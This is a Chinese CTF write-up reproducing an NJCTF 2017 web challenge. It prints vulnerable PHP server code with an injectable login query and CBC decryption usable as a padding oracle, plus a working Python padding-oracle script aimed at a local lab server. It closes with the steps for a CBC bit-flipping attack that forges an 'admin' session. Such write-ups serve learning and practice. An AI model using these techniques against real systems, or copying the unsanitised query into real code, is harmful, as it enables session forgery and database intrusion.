比赛的时候没有做出来,基于前段时间对Padding Oracle的理解,决定复现一下这个题
先贴出本地代码
服务器代码
<?php
error_reporting(0);
$flag="NJCTF{111111}";
define("SECRET_KEY", "123456789");
define("METHOD", "aes-128-cbc");
session_start();
$conn=new mysqli('localhost','root','root','pocve');
function get_random_token(){
$random_token='';
for($i=0;$i<16;$i++){
$random_token.=chr(rand(1,255));
}
return $random_token;
}
function get_identity()
{
global $defaultId;
$j = $defaultId;
$token = get_random_token();
$c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("ID", base64_encode($c));
setcookie("token", base64_encode($token));
if ($j === 'admin') {
$_SESSION['isadmin'] = true;
} else $_SESSION['isadmin'] = false;
}
function test_identity()
{
if (!isset($_COOKIE["token"]))
return array();
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
if ($u === 'admin') {
$_SESSION['isadmin'] = true;
} else $_SESSION['isadmin'] = false;
} else {
die("ERROR!");
}
}
}
function login($encrypted_pass, $pass)
{
$encrypted_pass = base64_decode($encrypted_pass);
$iv = substr($encrypted_pass, 0, 16);
$cipher = substr($encrypted_pass, 16);
$password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
# echo $password;
return $password == $pass;
}
function need_login($message = NULL) {
echo " <!doctype html>
<html>
<head>
<meta charset=\"UTF-8\">
<title>Login</title>
<link rel=\"stylesheet\" href=\"CSS/target.css\">
<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script>
</head>
<body>";
if (isset($message)) {
echo " <div>" . $message . "</div>\n";
}
echo "<form method=\"POST\" action=''>
<div class=\"body\"></div>
<div class=\"grad\"></div>
<div class=\"header\">
<div>Log<span>In</span></div>
</div>
<br>
<div class=\"login\">
<input type=\"text\" placeholder=\"username\" name=\"username\">
<input type=\"password\" placeholder=\"password\" name=\"password\">
<input type=\"submit\" value=\"Login\">
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
</form>
</body>
</html>";
}
function show_homepage() {
echo "<!doctype html>
<html>
<head><title>Login</title></head>
<body>";
global $flag;
printf("Hello ~~~ ctfer! ");
if ($_SESSION["isadmin"])
echo $flag;
echo "<div><a href=\"logout.php\">Log out</a></div>
</body>
</html>";
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$query = "SELECT username, enc_password from user WHERE username='$username'";
echo $query;
$res = $conn->query($query) or trigger_error($conn->error . "[$query]");
#var_dump($res);
if ($row = $res->fetch_assoc()) {
$uname = $row['username'];
$encrypted_pass = $row["enc_password"];
}
if ($row && login($encrypted_pass, $password)) {
echo "you are in!" . "</br>";
get_identity();
show_homepage();
} else {
echo "<script>alert('login failed!');</script>";
need_login("Login Failed!");
}
} else {
test_identity();
if (isset($_SESSION["id"])) {
show_homepage();
} else {
need_login();
}
}
?>
生成密文脚本
<?php
$cipher = MCRYPT_DES;
define("SECRET_KEY", "123456789");
define("METHOD", "aes-128-cbc");
$conn=new mysqli('localhost','root','root','pocve');
$cip='bertram';
$iv='e6cb1b72e52785e3';
$encode=openssl_encrypt($cip,METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv);
$cipher=$iv.$encode;
#echo $cipher."<br>";
$cipher=base64_encode($cipher);
$password = openssl_decrypt($encode, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
#echo $password.'<br>';
function login($encrypted_pass)
{
echo $encrypted_pass.'<br>';
$encrypted_pass = base64_decode($encrypted_pass);
$iv = substr($encrypted_pass, 0, 16);
#echo $iv.'<br>';
$cipher = substr($encrypted_pass, 16);
#echo $cipher;
$password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
# echo $password;
return $password;
}
login($cipher);
?>
DB
/*
Setup:
CREATE DATABASE pocve;
use pocve;
CREATE TABLE user (
username VARCHAR(255),
enc_password VARCHAR(255),
);
INSERT INTO user VALUES ("admin", "ZTZjYjFiNzJlNTI3ODVlM5UWODn9iGhl6338I6qPmGw=");
*/
理思路
1、存在注入,可联合查询控制enc_password字段的值,因此可以触发function login
的解密过程因此存在padding oracle
2、cookie值有判断函数test_identity()
,也存在解密过程因此,也存在padding oracle
3、可以通过padding_oracle攻击获取到$defaultID
的明文
4、CBC翻转攻击使token解密后为admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b
5、get flag
gaoshi
看了下很多大佬队的writeup以及官方的出题思路
大多数队伍选择在cookie处padding_oracle攻击,虽然bendawang师傅博文里说cookie处只能出15位,但还是要尝试下
贴出单位猜解脚本
import requests
import base64
import urllib
import random
PHPSESSID="tgr8etrhibd599hrvpfanatjo4"
ID="acedLmrUqRLIkTiOENIPwg%3D%3D"
token="opAynP%2BOMRkzQc2M3bHs0Q%3D%3D"
ID=urllib.unquote(ID)
token=urllib.unquote(token)
print token
print ID
def req_cookie(row_cookie):
if len(row_cookie)==16:
#print urllib.quote(base64.b64encode(row_cookie))
url="http://192.168.5.142/index.php"
r = requests.get(url,cookies={"PHPSESSID":"tgr8etrhibd599hrvpfanatjo4","ID":"acedLmrUqRLIkTiOENIPwg%3D%3D","token":urllib.quote(base64.b64encode(row_cookie))})
#print r.content
if "ERROR" in r.content:
return False
else:
print r.content
return True
#req_cookie()
def padding_oracle():
s=""
for i in xrange(0,15):
s=s+chr(0)
for j in xrange(0,256):
if(req_cookie(s+chr(j))):
break
return j
a=padding_oracle()
print "[+] really IV "+str(ord(base64.b64decode(token)[15:]))
print "[+] my IV "+str(a)
print "[+] imv "+str(0x01^a)
print "[+] plaintext "+str(ord(base64.b64decode(token)[15])^0x01^a)
print "[-] next "+str(0x01^a^0x02)
一开始一直以为自己脚本有问题,后来试了syclover的脚本,发现结果相同,结果一拍脑袋才想到,本地搭的和服务器的结果必然不可能一样
注入去获取中间值。
利用获取到的中间值与token相异或获取到明文
然后CBC翻转攻击
这里就不贴代码了,因为代码写的实在是丑、丑、丑!
有需要的同学可以去看看这两个脚本
NJCTF-2017-Flappypig
NJCTF 2017 web Writeup by Bendawang
流程总结
1、获取到token(初始向量)以及ID(加密密文)
2、利用login()中的解密过程获取中间值
(可能脑子短路,一直没想明白这之间的关系)
3、获取$defautID
的明文
4、CBC翻转攻击至admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b
总结
刚结束的几天就完全理解了padding_oracle,可是始终没懂思路,还是密码学基础比较薄弱,上个月还跟队友吹B说一个月补完密码学。现在想想真是可怕!